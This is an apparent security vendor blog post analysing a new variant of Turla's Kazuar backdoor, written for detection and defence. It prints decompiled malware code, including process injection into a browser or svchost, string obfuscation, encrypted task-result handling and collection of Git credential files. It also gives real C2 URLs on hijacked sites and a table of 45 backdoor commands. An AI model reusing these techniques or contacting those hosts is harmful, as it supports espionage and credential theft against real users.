Over the Kazuar's Nest: Cracking Down on a Freshly Hatched Backdoor Used by Pensive Ursa (Aka Turla)

Daniel Frank, Tom Fakterman ⋮⋮ 10/31/2023

By Daniel Frank and Tom Fakterman

October 31, 2023 at 6:00 AM

Category: Malware

Tags: Advanced WildFire, APT, backdoor, Cortex XDR, Cortex XSIAM, incident response, Kazuar, next-generation firewall, Pensive Ursa, threat prevention, Turla, Uroburos

This post is also available in: 日本語 (Japanese)

Executive Summary

While tracking the evolution of Pensive Ursa (aka Turla, Uroburos), Unit 42 researchers came across a new, upgraded variant of Kazuar. Not only is Kazuar another name for the enormous and dangerous cassowary bird, Kazuar is an advanced and stealthy .NET backdoor that Pensive Ursa usually uses as a second stage payload.

Pensive Ursa is a Russian-based threat group operating since at least 2004, which is linked to the Russian Federal Security Service (FSB).

The Ukrainian CERT reported in July 2023 that this version of Kazuar was targeting the Ukrainian defense sector. The threat group behind this variant was going after sensitive assets such as those found in Signal messages, source control and cloud platforms data.

Since Unit 42's discovery of Kazuar in 2017, we have seen it in the wild only a handful of times, targeting mostly organizations in the European government and military sectors. The Sunburst backdoor has been tied to Kazuar by code resemblance, which demonstrates its complexity level. Since late 2020, we had not seen new Kazuar samples in the wild – yet reports suggested Kazuar was under constant development.

As the code of the upgraded revision of Kazuar reveals, the authors put special emphasis on Kazuar's ability to operate in stealth, evade detection and thwart analysis efforts. They do so using a variety of advanced anti-analysis techniques and by protecting the malware code with effective encryption and obfuscation practices.

This article provides a deep technical analysis of Kazuar's capabilities. We are sharing this research to provide detection, prevention and hunting recommendations to help organizations strengthen their overall security posture. An additional list of artifacts will be provided in an appendix linked to our GitHub page.

Palo Alto Networks customers receive protections from and mitigations for the threats mentioned in this article in the following ways:

- Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block the malware C2 traffic

- Organizations can engage the Unit 42 Incident Response team for specific assistance with this threat and others
- The Cortex XDR and XSIAM platform detects and prevents the threats mentioned in this article
- The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of this new Kazuar variant.

Related Unit 42 Topics **Backdoors**, Pensive Ursa

Table of Contents

Kazuar Overview

Kazuar is known for being an advanced and stealthy .NET backdoor that Pensive Ursa usually uses as a second stage payload, delivered together with other tools that the threat group commonly uses.

The recent campaign that the Ukrainian CERT reported unveiled the multi-staged delivery mechanism of Kazuar, together with other tools such as the new Capibar first-stage backdoor. Our technical analysis of this recent variant – seen in the wild after years of hiatus – showed significant improvements to its code structure and functionality.

This post will detail previously undocumented features, including:

- Comprehensive system profiling - Extensive data collection.
- Credential theft of cloud and other sensitive applications - Theft of cloud application accounts, source control and Signal messaging application.
- Extended set of commands - A total of 45 supported commands to execute, received from another Kazuar node or the command and control (C2) server.
- Enhanced task automation - A range of automated tasks that the attacker could turn on/off.
- Variable encryption schemes - Implementation of different encryption algorithms and schemes.
- Injection modes **-** Multiple injection modes, allowing Kazuar to run from different processes and execute different features.

Since at least 2018, variants of Kazuar changed their obfuscation methods and methodically modified its compilation timestamps. Some variants used the ConfuserEx obfuscator to encrypt strings, and others used a custom method. In the Kazuar variant analyzed in this blog, the authors went a step further, implementing multiple custom methods for string encryption.

Unlike with previous variants, the authors only focused on targeting the Windows operating system.

Clarification note: While analyzing Kazuar's code, we used dnSpy to export the code into an integrated development environment (IDE) and decrypted the strings using a custom script. This allowed us to edit separate .cs files and edit some of the method names into meaningful ones. We have interpreted the method names that appear in the screenshots.

Latest Kazuar Variant Detailed Technical Analysis

Metadata

Reports from other research organizations have shown that the authors of Kazuar have manipulated their samples' timestamps since at least 2018. This new variant's compilation timestamp is Thursday, November 20, 2008 10:11:18 AM GMT. Unlike other publicly available variants, this is the first time the authors went back as far as 2008 when faking the timestamp.

Kazuar also contains hard-coded, hashed identifiers for the Agent version and BuildID as well as an Agent label. These can be used as variant identifiers, as shown in Figure 1.



```
AGENT CONFIGURATION
============================|==========================================
Configuration               | Value
============================|==========================================
Agent label                 | AGN-AB-25
Agent UUID                  | [redacted]
Agent version               | A6F52AB0C33E94766C0DB51605D8CA481D52011F
Agent BuildId               | 4B89AB85A9524F9DB6164ED07AB56AD9
```

Figure 1. Kazuar's sample basic configuration information.

Initialization

Executing Assembly Check

When executing Kazuar, it uses the Assembly.Location property to receive its own file path and check its name. Kazuar will continue execution only if the returned value is an empty string, as shown in Figure 2. The Assembly.Location property returns an empty string when loading the file from a byte array.

This check appears to be a simple form of an anti-analysis mechanism, to ensure that the execution of the malware was done by the intended loader and not by other means or software.

Kazuar will execute if its filename matches a specific hard-coded hashed name (using the FNV algorithm). This behavior is probably meant for debugging purposes, letting the authors avoid using the loader each time they debug the malware.



```
private void CheckFileName()
{
    Assembly executingAssembly = Assembly.GetExecutingAssembly();
    string fileName = Path.GetFileName(executingAssembly.Location);
    if (UtilitiesClass.CheckIfStringEmpty(fileName))
    {
        return;
    }
    if (!AgentInfoClass.CompareNameToHashedName(fileName))
    {
        throw new Exception("Started from file '" + executingAssembly.Location + "'");
    }
}
```

Figure 2. Checking the Kazuar variant's assembly name.

Operational Root Directory Creation

Kazuar creates a new directory to store its configuration and log data. It uses %localappdata% as the main storage path and determines its root directory from a list of hard-coded paths (See Appendix).

Kazuar chooses which root directory, folder names, filenames and file extensions to use based on the machine globally unique identifier (GUID), as shown in Figure 3. Although these names might seem randomly generated at a first glance, the usage of the GUID means they will keep the same name for each execution of the malware on the same infected machine.



```
public static uint GetArrayIndex(uint constNumModArrayLength)
{
    byte[] value = UtilitiesClass.guid.ToByteArray();
    uint num = BitConverter.ToUInt32(value, 0);
    uint num2 = BitConverter.ToUInt32(value, 4);
    uint num3 = BitConverter.ToUInt32(value, 8);
    uint num4 = BitConverter.ToUInt32(value, 12);
    return constNumModArrayLength ^ num ^ num2 ^ num3 ^ num4;
}
```

Figure 3. The method in charge of returning an index for the paths array.

Like in previous variants, Kazuar uses a structured directory scheme to save its log files and other data such as individual configuration files and keylogger data. Directory naming is pseudorandom and chosen based on hashing. Examples include the custom implementation of the FNV hashing algorithm seen in previous variants, and other manipulations on the GUID value. You can find a list of the directories in their plaintext names in the Appendix.

It is also worth mentioning that there is a currently unreferenced option to create a file called wordlist in the code. This file could give us a clue about a feature not yet implemented, perhaps using a wordlist for directories, filenames or password brute forcing.

Configuration Files

The malware creates a separate main configuration file that includes data including the following:

- C2 servers
- Injection mode
- Other operational configuration data

Figure 4 shows a snippet from this file below. You can find the encryption methods for Kazuar's configuration files in the Appendix.



```
|==============================================================================================
| AGENT CONFIGURATION
|==============================|===============================================================
| Configuration                | Value
|==============================|===============================================================
| Agent label                  | AGN-AB-25
| Agent UUID                   | [redacted]
| Agent version                | A6F52AB0C33E94766C0DB51605D8CA481D52011F
| Agent BuildId                | 4B89AB85A9524F9DB6164ED07AB56AD9
| Agent MD5                    | 11A289347B95AAB157AA0EFE4A59BF24
| Agent SHA1                   | 92CE51DCEC6C304506FBD25C1BE650BD69F4A19E
| Agent SHA256                 | 91DC8593EE573F3A07E9356E65E06AED58D8E74258313E3414A7DE278B3B5233
| Agent SHA512                 | 188B8DF13094386AA0D77589FE8F9A4146EFA6B20EA38F62D2CB8EC6580B1ACFE3E176E7BBAAA4AB6405A2ACF6E19
| Local seed                   | [redacted]
|------------------------------|---------------------------------------------------------------
| Last contact                 | [redacted]
| Transport type               | HTTP
| Transport main interval      | [0.00:30:00 - 0.00:45:00]
| Transport failed interval    | [0.00:15:00 - 0.00:30:00]
| Transport proxy              | <disabled>
| Max server fails             | 2
| Main servers                 | https://www.pierreagencement.fr/wp-content/languages/index.php
|                              | https://sansaispa.com/wp-includes/images/gallery/
| Reserved servers             | https://octoberoctopus.co.za/wp-includes/sitemaps/web/
|------------------------------|---------------------------------------------------------------
| Agent regkey                 | ???
| Storage root                 | [redacted]
| Config path                  | [redacted]
| Keylogger path               | [redacted]
|------------------------------|---------------------------------------------------------------
| Logs path                    | [redacted]
| Logs size                    | 124.786KB out of 30MB
|------------------------------|---------------------------------------------------------------
| Inject mode                  | inject
| Solving threads              | 3
| Task time limit              | 0.02:00:00
| Solving tries                | 3
| Sending tries                | 3
| Maximal send chunk           | 6MB
| Minimal send hour            | 8
| Maximal send hour            | 20
| Maximal send times           | 25
| Maximal send repeats         | 3
| Send on weekend              | false
| Keylogger enabled            | false
| Eventer enabled              | true
| Hinder enabled               | false
| Live in scrcons              | false
| Heart beat interval          | 0.01:00:00
|------------------------------|---------------------------------------------------------------
```

Figure 4. Snippet of the configuration file.

Mutex Name Generation

Kazuar is using a mutex to check its injection into another process. Kazuar generates its mutex name by XORing the current process ID with the hard-coded value 0x4ac882d887106b7d and then XORing it with the machine's GUID, as depicted in Figure 5. This means that several Kazuars can operate in tandem on the same device, just not injected into the same process.



```
public static Guid GenerateMutexName(ulong xoredCurrentProcessId)
{
    byte[] array = UtilitiesClass.guid.ToByteArray();
    byte[] bytes = BitConverter.GetBytes(xoredCurrentProcessId);
    for (int i = 0; i < array.Length; i++)
    {
        byte b = bytes[i % bytes.Length];
        array[i] ^= b;
    }
    return new Guid(array);
}
```

Figure 5. Mutex name generation.

Architecture

Setting Kazuar's Injection Modes

The new version of Kazuar uses what it describes in the configuration as "injection modes" as shown in Table 1. The default mode is inject.

Configuration file mode	Description	Inbound traffic	Outbound traffic	Additional functionality

name				threads
inject	• Default mode, injects into explorer.exe • Creates a pipe communication channel and serves as a proxy for other Kazuar instances	Named pipe	Named pipe	• Event Log Monitor • Keylogging • Peeps • Automated tasks • Anti-Dumping
zombify	• Injects into the user's default browser or svchost.exe • Creates a named pipe communication channel and serves as a proxy for other Kazuar instances	Named pipe	HTTP	• Anti-Dumping
combined	In case the default inject method fails, it executes via the same method as zombify	N/A	N/A	N/A
remote	Creates a named pipe communication channel and serves as a proxy for other Kazuar instances, no C2 communication	Named pipe	Named pipe	• Event Log Monitor • Automated tasks
single	• Creates a named pipe communication channel and serves as a proxy for other Kazuar instances • This mode enables C2 communication to receive commands via HTTP	Named pipe or HTTP	Named pipe or HTTP	• Event Log Monitor • Keylogging • Peeps • Automated tasks
Not in User Interactive Mode	In case Kazuar's execution is in a user interactive mode, which could occur when executing Kazuar as a service or on a machine with no GUI such as a server.	Named pipe	Named pipe	• Automated tasks • WMI consumer • Anti-Dumping

Table 1. Kazuar injection modes and descriptions.

In zombify mode, Kazuar is injected into the user's default browser and has a fallback mechanism to inject itself to svchost.exe in case the query for the default browser fails. Figure 6 shows that the term zombify addresses process injection in general by Kazuar's authors.



```
private void InjectToSvchostOrBrowser()
{
    string svchost = Path.Combine(Environment.SystemDirectory, "svchost.exe");
    string defaultBrowser = UtilitiesClass.GetDefaultBrowser();
    int processId;
    if (File.Exists(defaultBrowser))
    {
        ConfigFoldersHandlerClass.WriteToLogFile("Zombifying user's default browser '{0}'...", new object[]
        {
            defaultBrowser
        });
        processId = InjectionClass.APCQueueCodeInjection(defaultBrowser);
    }
    else
    {
        ConfigFoldersHandlerClass.WriteToLogFile("Zombifying user's system svchost '{0}'...", new object[]
        {
            svchost
        });
        processId = InjectionClass.APCQueueCodeInjection(svchost);
    }
```

Figure 6. A snippet of Kazuars' code injection in zombify mode.

Multithreading Model

Kazuar operates in a multithreading model, while each of Kazuar's main functionalities operates as its own thread. In other words, one thread handles receiving commands or tasks from its C2, while a solver thread handles execution of these commands. This multithreading model enables Kazuar's authors to establish an asynchronous and modular flow control. Figure 7 shows the task solver flow.



Figure 7. Kazuar's task-solving mechanism diagram.

The Task Solver Component - Kazuar's Puppeteer

Kazuar receives new tasks, solves them and writes the output into result files. A solver thread is handling new tasks received from the C2 servers or another Kazuar node. The task content is then encrypted and written to disk into a task file.

Each task file implements a hybrid encryption scheme:

1. Using RNGCryptoServiceProvider to generate two byte-arrays containing random numbers, which are 16 and 32 bytes long respectively.
    - Using the first array as an AES (Rijndael) initialization vector (IV).
    - Using the second array as an AES key.
2. Generating an HMACMD5 hash based on the result's content from memory, prior to its encryption and writing to disk, using the array described in the first bullet above as the key.
3. Encrypting the HMACMD5 hash, AES key and IV with the hard-coded RSA key, and writing the encrypted BLOB to the beginning of the file. By using the fast AES algorithm to encrypt larger objects such as the result's contents, and using the slower RSA encryption to conceal the AES key and IV, Kazuar improves its performance. This also disables the option of recovering infected files only from disk, since the symmetric key is encrypted using an asymmetric key.
4. Using the AES encryption to encrypt the result file's contents.

As shown in Figure 8, once a task is complete, the generated result file will be saved to disk.



```
public static void WriteResultFile(byte[] AES_RSA_EncryptedTaskContent, ulong firstSysInfoId, string systemInfoAtDateTimeNow)
{
    ulong resultId = ConfigFoldersHandlerClass.GenerateResultId(firstSysInfoId);
    string resultFilePath = ConfigFoldersHandlerClass.GenerateConfigPath("result", resultId);
    FileMode fileModeCreateNew = FileMode.CreateNew;
    FileAccess fileAccessWrite = FileAccess.Write;
    if (File.Exists(resultFilePath))
    {
        throw new Exception(string.Format("Result #{0:X16} already exists in {1}", resultId, resultFilePath));
    }
    byte[] logDataGuidEncrypted = UtilitiesClass.XorFormattedMessageForConfigWithGuid(Encoding.UTF8.GetBytes(systemInfoAtDateTimeNow));
    int logDataGuidEncryptedLength = logDataGuidEncrypted.Length;
    using (FileStream fileStream = ConfigFoldersHandlerClass.OpenFileStream(resultFilePath, fileModeCreateNew, fileAccessWrite, FileOptions.None))
    {
        using (BinaryWriter binaryWriter = new BinaryWriter(fileStream))
        {
            binaryWriter.Write(0U);
            binaryWriter.Write(resultId);
            binaryWriter.Write(logDataGuidEncryptedLength);
            binaryWriter.Write(logDataGuidEncrypted);
            binaryWriter.Write(AES_RSA_EncryptedTaskContent);
        }
    }
}
```

Figure 8. A snippet of Kazuar's method to encrypt and write a result file.

In addition to the aforementioned encrypted data, Kazuar writes the following fields to the beginning of the result file:

1. Four zero bytes (we believe this serves as a sort of a delimiter)
2. Generated result identifier
3. Length of the encrypted GUID, using the same XOR algorithm as in the initialization part (the encrypted message here is "System info at [datetime] (-07)")
4. The encrypted GUID itself
5. RSA encrypted HMACMD5 hash + IV + AES key
6. The AES encrypted task content

Figure 9 shows the encrypted result file content from disk.


Delimiter
Generated result identifier
Encrypted UUID length
Encrypted UUID content
RSA encrypted HMACMD5 hash + IV + AES key
AES encrypted task content

```
Offset(h) 00          03 04                0A 0B                10                   16 17 18 19 1A 1B 1C 1D 1E 1F  Decoded text
00000000  00 00 00 00 2B 15 FA 93 66 63 48 5A 28 00 00 00 05 37 F3 16 2A C6 F2 10 96 62 62 18 7A D6 2C 91  ....+.ú“fcHZ(....7ó.*Æò.–bb.zÖ,‘
00000020  66 7D B1 4B 63 89 F6 B0 33 2D 27 77 1D 9A 2D 88 67 69 A4 40 7A 85 E9 AE 7A BE 1D 7D 44 F9 AE 02  f}±Kc‰ö°3-'w.š-ˆgi¤@z…é®z¾.}Dù®.
00000040  D3 8A 8A 4F 1F E9 DD 7E 41 E2 D9 41 84 E0 82 2A D7 74 6C 12 45 D9 F1 06 9C 31 D2 5B B3 75 41 FE  ÓŠŠO.éÝ~AâÙA„à‚*×tl.EÙñ.œ1Ò[³uAþ
00000060  B3 96 5C 14 A1 56 EF 71 94 4F A6 37 25 3D C3 05 1C 46 6A 1A 0A A8 F4 BA 45 61 2D 51 6B 3D 35 37  ³–\.¡Vïq”O¦7%=Ã..Fj..¨ôºEa-Qk=57
00000080  C2 FD 5D 9F D9 E0 5C EA 30 6F 6D 38 4E 46 7C 83 A0 C4 E1 A8 D9 3B B7 39 3C 87 49 98 AC A3 4B 10  Âý]ŸÙà\ê0om8NF|ƒ Äá¨Ù;·9<‡I˜¬£K.
000000A0  8C F4 D5 5B E7 F3 B0 B5 99 7C 49 0C 78 09 12 7B A5 AB 38 70 16 7D 66 1C A7 B8 A5 07 34 DD D6 44  ŒôÕ[çó°µ™|I.x..{¥«8p.}f.§¸¥.4ÝÖD
000000C0  31 8E 91 7B EF 2A A0 EF D1 A4 16 B1 3F 61 C8 6B 01 D4 51 A0 FE AD AC EF 39 6C 2B 5F 24 32 12 3D  1Ž‘{ï* ïÑ¤.±?aÈk.ÔQ þ.¬ï9l+_$2.=
000000E0  14 B9 51 43 75 F8 8B D9 9B 99 35 F7 63 4B 6B 36 4D 2B F2 AD A6 8E 6B BF 2B 20 06 23 C4 28 00 FC  .¹QCuø‹Ù›™5÷cKk6M+ò.¦Žk¿+ .#Ä(.ü
00000100  A1 41 19 18 2A 41 9A CB 4C F1 55 A3 83 76 A0 3D 19 14 FE 73 DD 5D F7 55 E8 BB 2E CC 8D C5 56 E5  ¡A.[illegible]sÝ]÷Uè».Ì.ÅVå
00000120  A4 27 BD 13 13 FF 46 68 C0 36 0C D3 60 D4 CD DE F9 E4 73 FB B0 2E FE 78 1A 67 84 E5 46 7B 70 B5  ¤'[illegible]û°.þx.g„åF{pµ
00000140  65 4E 39 26 15 40 78 E0 6E 5D 87 3C 6A F8 FF 50 7C F0 20 5C 2A 83 3B 5B 79 FC 96 17 56 7D 75 64  eN9&.@xàn]‡<jøÿP|ð \*ƒ;[yü–.V}ud
00000160  B2 BD D3 1A 8B 71 80 99 FD ED D2 DC 02 97 DC CF 20 EB 2E D4 4C E6 74 ED ED DF C9 76 90 49 C5 C6  ²½Ó.‹q€™ýíÒÜ.—ÜÏ ë.ÔLætííßÉv.IÅÆ
00000180  C1 AF DD 49 AD 9A 98 33 ED 46 D9 32 34 A5 B2 2D 07 F4 EB 02 85 A5 14 49 D3 09 C3 89 B5 BE 9C 24  Á¯ÝI.š˜3íFÙ24¥²-.ôë.…¥.IÓ.Ã‰µ¾œ$
000001A0  FE 8E B5 0C 31 D0 14 DC 5D F0 34 28 91 88 54 39 F8 D0 77 AD 74 9B 4E 68 70 1F 2D 87 94 64 8C C4  þŽµ.1Ð.Ü]ð4(‘ˆT9øÐw.t›Nhp.-‡”dŒÄ
000001C0  4E EE 45 DF 4D 85 04 7E 78 64 E8 68 FA 9E 81 A0 75 8A 40 C6 DA 6E A8 A9 82 76 E5 98 11 E0 05 FE  NîEßM….~xdèhúž. uŠ@ÆÚn¨©‚vå˜.à.þ
000001E0  06 C4 2A E1 F7 B1 26 1A 33 8F 71 B5 20 7B E2 7D 79 3C 5B BC 42 3F B2 7C FA 2D 68 61 9D D8 CE D4  .Ä*á÷±&.3.qµ {â}y<[¼B?²|ú-ha.ØÎÔ
00000200  42 68 FB C0 B3 0E C8 FC A1 54 82 6C 16 32 7C EB 75 C9 9F D0 B5 56 40 87 CA D0 7F 64 3C CB 70 5C  BhûÀ³.Èü¡T‚l.2|ëuÉŸÐµV@‡ÊÐ.d<Ëp\
00000220  FD E2 EE 23 A3 3A 32 C4 60 13 DF 3D 8A E7 F0 AB B9 80 FB 37 58 34 F5 C1 0B EC CF F1 C2 F4 7D 28  ýâî#£:2Ä`.ß=Šçð«¹€û7X4õÁ.ìÏñÂô}(
00000240  12 6B F3 2B C6 CC 6A FC 4B D8 20 A2 76 7C 96 DC 45 33 4E C7 02 79 B7 58 33 37 A4 92 34 34 CB 9C  .kó+ÆÌjüKØ ¢v|–ÜE3NÇ.y·X37¤’44Ëœ
00000260  4F 19 8E 03 78 D0 E2 97 AA CA C3 F0 51 64 08 0A 5F FB 36 7A C4 43 A9 E5 9A F3 36 C6 03 75 5F D5  O.Ž.xÐâ—ªÊÃðQd.._û6zÄC©åšó6Æ.u_Õ
00000280  83 B3 80 0D 40 16 25 25 A4 BC 4C FB 8A 04 2A E1 C0 EF A1 60 EE 2F 1D 43 12 14 A3 07 D9 93 9E 18  ƒ³€.@.%%¤¼LûŠ.*áÀï¡`î/.C..£.Ù“ž.
000002A0  48 27 2F 9C BA C7 CD 6B 6F 14 F5 B7 B3 E6 58 A9 C9 6D 16 D6 67 22 4B 92 20 CA 8E 44 39 6B FF DB  H'/œºÇÍko.õ·³æX©Ém.Ög"K’ ÊŽD9kÿÛ
000002C0  58 52 25 05 5D AA 9C 3D 3E AA EC 54 60 1F 1F B7 EF 4C 29 94 4A F6 7C 83 31 71 00 E2 3C 1A 84 AA  XR[illegible])”Jö|ƒ1q.â<.„ª
000002E0  46 E5 B4 A9 9C F6 F0 70 92 94 19 86 41 B7 12 F5 D2 C7 CD F9 82 DE 43 3E 48 F4 FE B9 24 19 53 33  Få[illegible]Íù‚ÞC>Hôþ¹$.S3
00000300  CF 12 CB 9B 93 3B D8 DB F9 A4 31 5D CA BE F9 4C 02 E5 DB 10 11 3F 82 D0 0E D5 AB 25 D4 4C 87 67  Ï.Ë›“;ØÛù¤1]Ê¾ùL.åÛ..?‚Ð.Õ«%ÔL‡g
00000320  82 36 EC F5 5B 30 B5 92 B4 8F 8A 7A C8 81 4B 18 E8 D7 F6 57 FA 78 C9 A9 18 11 6B EF F7 C1 E2 80  ‚6ìõ[0µ’´.ŠzÈ.K.è×öWúxÉ©..kï÷Áâ€
00000340  44 9A 21 59 A5 FD 29 B4 03 67 DF FF 87 9A 7B 47 F1 91 42 C0 6C 33 67 51 38 35 8D 0D E9 FF 7A 81  Dš!Y¥ý)´.gßÿ‡š{Gñ‘BÀl3gQ85..éÿz.
00000360  42 66 4A 05 76 2C 64 35 8C 9F D2 87 B4 0E 6A C5 9C 19 B1 5A AC E7 FD 4C AA B4 BF D7 A8 44 F4 5B  BfJ.v,d5ŒŸÒ‡´.jÅœ.±Z¬çýLª´¿×¨Dô[
00000380  5F 9E 27 02 1A 1F D0 27 F1 AB 91 93 05 6B EB D9 8A 4A A0 DB 2D BA 7D B6 7D 45 17 DC EE 50 C6 69  _ž'...Ð'ñ«‘“.këÙŠJ Û-º}¶}E.ÜîPÆi
000003A0  D8 DE 99 CC 53 56 B2 C3 FD 23 1E A4 DD EC 52 89 F2 83 BB F6 9D 71 21 58 DE BA D0 11 6F 4A E8 69  ØÞ™ÌSV²Ãý#.¤ÝìR‰òƒ»ö.q!XÞºÐ.oJèi
000003C0  E9 5E 97 9A D3 1A 22 BC BD E6 DF 08 70 8D 24 EA 2B 25 CF 5E 74 F7 45 C7 69 5B 04 61 FD 3F DC 16  é^—šÓ."¼½æß.p.$ê+%Ï^t÷EÇi[.aý?Ü.
000003E0  DE E5 82 E8 7A 8B 8A BC 93 A9 63 8F 15 64 81 EA FA 9B 31 0D CD 1F 6F D4 4F ED B2 F4 75 18 01 6B  Þå‚èz‹Š¼“©c..d.êú›1.Í.oÔOí²ôu..k
```

Figure 9. An encrypted result file content from disk.

Strings Encryption

Kazuar's code includes a high volume of strings that are related to functionality and debugging. When revealed in plain text, they shed light on the inner workings and functionality of Kazuar. To avoid the scenario of researchers creating strings-based indicative YARA and hunting rules, Kazuar's strings are encrypted. It decrypts each string at runtime.

Kazuar uses a variation of a Caesar Cipher for the string encryption/decryption algorithm. In this algorithm, Kazuar implements a dictionary that simply swaps the key and value of each member. Recent Kazuar variants implemented only one dictionary, while the new variant implements multiple dictionaries, each containing 80 pairs of characters as shown in Figure 10.



```
public static void CreateCipher()
{
    StringDecryption.cipher.Add(122, 46);
    StringDecryption.cipher.Add(101, 89);
    StringDecryption.cipher.Add(115, 117);
    StringDecryption.cipher.Add(92, 88);
    StringDecryption.cipher.Add(61, 10);
    StringDecryption.cipher.Add(59, 48);
```

Figure 10. One of the classes containing the dictionary used for string decryption.

Figure 11 shows a loop iterating over a given string, and checking if the ordinal value of a given character is in the dictionary keys of the relevant class. If it is, Kazuar swaps the key and value and appends it to the crafted string. Otherwise, it keeps the original character.

In addition to the string obfuscation, the authors have given unmeaningful names to the classes and methods in the code, to make analysis more difficult.



```
public static string DecryptString(string encryptedString)
{
    StringBuilder stringBuilder = new StringBuilder();
    for (int i = 0; i < encryptedString.Length; i++)
    {
        if (StringDecryption.cipher.ContainsKey((int)encryptedString[i]))
        {
            stringBuilder.Append((char)StringDecryption.cipher[(int)encryptedString[i]]);
        }
        else
        {
            stringBuilder.Append(encryptedString[i]);
        }
    }
    return stringBuilder.ToString();
}
```

Figure 11. The loop that creates the deobfuscated string.

One of the strings decoded by Kazuar returns the value “Invalid pong responce” as shown in Figure 12. It seems that one of the malware coders forgot to switch the Russian C for an English S.



Name	Value
JJ	"W\n;sDG:.m9\n|.wzom9\n6z"
stringBuilder	{Invalid pong responce}
i	0x00000015

Figure 12. The typo in the “response” string.

Core Functionality

In a fashion typical to Pensive Ursa, to avoid takedowns, Kazuar uses hijacked legitimate websites for its C2 infrastructure. In addition, as mentioned in the Injection Modes section, Kazuar also supports communication over named pipes. It uses both mechanisms to receive remote commands, or tasks (as described in the code).

Supported C2 Commands

Kazuar supports 45 different tasks it can receive from its C2, as shown in Table 2. This is yet another development in Kazuar’s code, as previous research hadn’t documented some of these tasks. By comparison, Kazuar’s first variant analyzed back in 2017 supported only 26 C2 commands.

We have grouped Kazuar’s commands into the following categories:

- Host data collection
- Extended forensic data collection
- File manipulation
- Arbitrary command execution
- Interaction with Kazuar’s configuration
- Registry querying and manipulation
- Scripts execution (VBS, PowerShell, JavaScript)
- Custom network requests
- Credentials and sensitive information stealing

Command	Description
sindex	Searches for properties of files with the following extensions: .txt, .ini, .config, .vbs, .js, .ps1, .doc, .docx, .xls, .xlsx, .ppt, .pptx under folders in the C:\Users\ path.
scrshot	Takes a screenshot of the window of a specified process
move	Moves a file from a source path to a destination path
info	Gets system information about one or multiple of the fields (described in Appendix)
steal	Steals data from various browsers and applications (full list ID in Appendix)

run	Executes a specified executable with supplied arguments, save the output to a temporary file, and upload the file to the C2 server.
schlist	Gets data about scheduled tasks using the Schedule.Service COM object
config	Updates Kazuar's configuration file
netuse	Connects or removes network resources from the machine using the WNetAddConnection2 and WNetCancelConnection2 WinAPIs
log	Adds a custom log to the log file
delegate	Sends a command to another Kazuar implant on a remote system using a PIPE
eventlog	Gets Windows Event log entries
get	Uploads files from a specified directory to Kazuar's C2 servers, choosing which files to upload based on their modified, accessed and created timestamps.
autoruns	Checks various possibilities for software to have persistence in the infected machine (checks described in Appendix)
put	Writes received data to a specified file on the system.
regwrite	Sets a registry key/value.
autoslist	Lists the number of files that were created under the Autos functionality
vbs	Executes a VBScript
psh	Executes a PowerShell Script
sleep	Sets Kazuar to sleep for a specified amount of time
regdelete	Deletes a registry key/value
timelimit	Sets a time limit for a task from the server
dlllist	Gets all loaded modules of a specified process
autosget	Sends files created by the Autos functionality to the C2
wmiquery	Executes a WMI Query
dotnet	Executes a .NET method received from the C2
tasklist	Gets a list of running processes
find	Finds a specified directory and lists its files. It appears the actor can specify which files to list based on their modified, accessed and created timestamps as well.
peep	Executes a command related to the peeps functionality, which we have described in the peeps section.
forensic	Checks the system for multiple forensic artifacts (see Appendix)
kill	Kills a process by name or by process identifier (PID)
regquery	Queries a registry key
chakra	Executes Javascript using ChakraCore
http	Creates a crafted HTTP request
pipelist	Gets open pipe list for a specific machine
jsc	Executes JavaScript
wmicall	Calls a WMI method
autosdel	Deletes files created by the Autos functionality
del	Deletes a specified file OR folder. Allows the attacker to supply a flag to securely delete a file by overwriting the file with random data before deleting it.
nbts	Crafts a NetBIOS request
copy	Copies a specified file to a specified location. The attacker is able to overwrite the destination file if it already exists.
upgrade	Downloads an upgrade to the malware
cmd	Executes a command via cmd.exe
unattend	Steals files related to various windows configuration or cloud applications credentials (full list of files is included in Appendix)
autosclear	Clears the Autos log list of files

Table 2. Kazuar's supported C2 commands.

Cloud, Source Control and Messaging Apps Credential Theft

Kazuar has the capability to attempt to steal credentials from many artifacts in the infected computer, by receiving the commands steal or unattend from the C2.

These artifacts include multiple well-known cloud applications.

Kazuar can attempt to steal sensitive files that contain credentials for these applications. Artifacts targeted by Kazuar include Git SCM (a source control system that is popular among developers), as shown in Figure 13, and Signal (an encrypted messaging service for private instant messaging). We have included the full description of the artifacts in the Appendix.


```
string environmentVariable = Environment.GetEnvironmentVariable("USERPROFILE");
if (environmentVariable == null)
{
    return;
}
List<string> list = new List<string>
{
    Path.Combine(environmentVariable, ".git-credentials"),
    Path.Combine(environmentVariable, ".config\git\credentials")
};
string environmentVariable2 = Environment.GetEnvironmentVariable("XDG_CONFIG_HOME");
if (environmentVariable2 != null)
{
    list.Add(Path.Combine(environmentVariable2, "git\credentials"));
}
```
Figure 13. Code snippet of Git SCM credentials Kazuar may attempt to steal.

Comprehensive System Profiling

When Kazuar is initially spawning a unique solver thread, the first task it automatically executes is the extensive collection and profiling of the targeted system, named by Kazuar's authors as first_systeminfo_do. As part of this task, Kazuar will collect extensive information about the infected machine and will send it to the C2. This includes information on the operating system, hardware and network. The Appendix includes the entirety of what the attackers collected.

Kazuar saves this data into an info.txt file and saves the execution logs to a logs.txt file. As mentioned in the Task Solver section, we can see the result in memory. In this case, it's an archive, as depicted in Figure 14.


```
Locals
Name          Value                                              Type
▷ e           {Y3y.e}                                            Y3y.e
  jj          "|============================================...  string
  jj2         "[redacted] | UNKN | Agent started insi...         string
◢ result      {byte[0x0003A464]}                                 byte[]
    [0]       0x50                                               byte
    [1]       0x4B                                               byte
    [2]       0x03                                               byte
    [3]       0x04                                               byte
    [4]       0x14                                               byte
    [5]       0x00                                               byte
    [6]       0x00                                               byte
```

Figure 14. The result of the first_systeminfo_do archive in memory.

Besides the two aforementioned text files, as part of this task, the malware takes a screenshot of the user's screen. Figure 15 shows the zipping of all of these files into one archive before being encrypted and sent to the C2.


7-Zip
File Edit View Favorites Tools Help
Add Extract Test Copy Move Delete Info

[redacted]

Name	Size	Packed Size	Attributes	Encrypted	Comment
scrshot000.jpg	178 438	166 589	-r--------	-	scrshot000.jpg
info.txt	575 424	65 422	-r--------	-	info.txt
logs.txt	120 874	6 341	-r--------	-	logs.txt

Figure 15. The result of the first_systeminfo_do archive extracted memory, prior to encryption.

Creating Automated Tasks (Autos)

Kazuar has the ability to set up automated tasks that will run at specified intervals to gather information from the infected machines. Figure 16 shows an example of this functionality as documented in Kazuar's configuration.

These automated tasks include the following:

- Gathering system information (described in the section on Comprehensive System Profiling)
